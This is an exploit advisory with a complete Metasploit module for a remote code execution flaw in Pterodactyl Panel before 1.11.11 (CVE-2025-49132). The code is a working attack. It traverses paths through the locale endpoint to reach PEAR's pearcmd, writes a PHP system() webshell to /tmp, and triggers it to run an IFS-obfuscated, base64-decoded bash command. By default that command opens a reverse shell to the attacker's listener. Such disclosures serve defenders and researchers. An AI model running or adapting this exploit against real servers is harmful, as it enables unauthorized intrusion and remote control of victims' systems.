📄 Pterodactyl Panel Remote Code Execution

=============================================================================================================================================
    | # Title     : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://pterodactyl.io/                                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.
                     The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands. 
    				 Successful exploitation may lead to remote shell access under the privileges of the web server user.
    
    [+] POC : 
    
    set RHOSTS target.com
    set RPORT 80
    set TARGETURI /
    set LHOST your_ip
    set LPORT your_port
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'base64'
    require 'json'
    require 'rubygems' 
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution',
            'Description' => %q{
              This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel
              versions before 1.11.11. The vulnerability allows an attacker to write a malicious
              PHP file via the locale functionality and then execute it to gain a reverse shell.
            },
            'Author' => [
              'pwndalf', 
              'indoushka' 
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49132'],
              ['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC']
            ],
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-10-15',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']),
            OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']),
            OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php'])
          ]
        )
      end
    
      def check
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'version')
        })
    
        unless res
          return CheckCode::Unknown('Connection failed')
        end
    
        if res.code == 200 && res.body
          version = extract_version(res.body)
          
          if version
            vprint_status("Detected Pterodactyl version: #{version}")
    
            begin
              current_version = Gem::Version.new(version)
              vulnerable_version = Gem::Version.new('1.11.11')
              
              if current_version < vulnerable_version
                return CheckCode::Appears("Vulnerable version detected: #{version}")
              else
                return CheckCode::Safe("Patched version detected: #{version}")
              end
            rescue ArgumentError => e
              vprint_error("Invalid version format: #{e.message}")
              return CheckCode::Unknown('Invalid version format')
            end
          end
        end
    
        locale_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json')
        })
    
        if locale_res && locale_res.code == 200
          return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed')
        end
    
        CheckCode::Safe('Target does not appear to be running Pterodactyl panel')
      rescue ::Rex::ConnectionError
        CheckCode::Unknown('Connection failed')
      end
    
      def extract_version(body)
    
        json_data = JSON.parse(body) rescue nil
        if json_data.is_a?(Hash) && json_data['version']
          return json_data['version']
        end
    
        if body =~ /<meta[^>]*name="version"[^>]*content="([^"]+)"[^>]*>/i
          return $1
        end
    
        if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i
          return $1
        end
    
        nil
      end
    
      def execute_command(cmd)
        encoded_cmd = Base64.strict_encode64(cmd)
        payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash"
        write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
        php_payload = "<?=system('#{payload_cmd}')?>"
        
        print_status("Attempting to write payload to #{datastore['TMP_FILE']}")
        write_res = send_request_cgi({
          'method' => 'GET',
          'uri' => write_uri,
          'vars_get' => {
            '+config-create+' => '',
            'locale' => "../../../../..#{datastore['PEAR_PATH']}",
            'namespace' => 'pearcmd',
            '/' => php_payload + " /tmp/#{datastore['TMP_FILE']}"
          }
        }, 10) 
        
        unless write_res && write_res.code == 200
          fail_with(Failure::NotVulnerable, 'Failed to write payload')
        end
        
        print_good("Payload written successfully")
    
        trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
        
        print_status("Triggering payload...")
        begin
          send_request_cgi({
            'method' => 'GET',
            'uri' => trigger_uri,
            'vars_get' => {
              'locale' => '../../../../../../tmp',
              'namespace' => 'payload'
            }
          }, 5) 
        rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout
    
          vprint_status('Trigger request completed (expected timeout/error)')
        end
        
        print_status('Payload triggered. Check your listener for incoming connection.')
        
      rescue ::Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      end
    
      def exploit
    
        if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?
          fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty')
        end
        unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD)
          fail_with(Failure::BadConfig, 'Target is not compatible with command payload')
        end
        
        print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}")
        command = payload.encoded
        execute_command(command)
         handler
      end
    end
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================